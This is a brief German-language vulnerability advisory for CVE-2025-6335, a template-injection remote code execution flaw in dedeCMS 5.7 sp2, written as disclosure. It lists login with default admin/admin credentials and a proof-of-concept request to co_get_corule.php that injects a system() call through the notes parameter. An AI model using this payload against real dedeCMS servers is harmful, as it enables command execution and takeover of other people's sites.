CVE-2025-6335

Titel: Template-Injection-Befehlausführungsschwachstelle in dedeCMS 5.7 sp2

Bug-Autor: Ewoji

Betroffene Version: dedeCMS < 5.7.2

Anbieter: Shanghai Zhuozhuo Network Technology Co., LTD

Software: dedeCMS

Schwachstellendateien:

• /include/dedetag.class.php

Beschreibung:

1. Nach der Installation, melden Sie sich im Backend an

   • Verwenden Sie das Standardkonto admin/admin

2. Ausnutzen der Vorlage

   • Greifen Sie auf die dede/co_get_corule.php-Schnittstelle zu
   • Übergeben Sie den Parameter /dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1. Zweimaliges Aufrufen führt zur Befehlsausführung

3. Überprüfen des Exploits:

   • Bei erfolgreicher Injektion kann der Angreifer beliebige Befehle ausführen

Proof of Concept:

/dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1
Accessing twice like this can execute the command

Detail:CVE-2025-6335-dedeCMS Backend-Vorlageninjektion RCE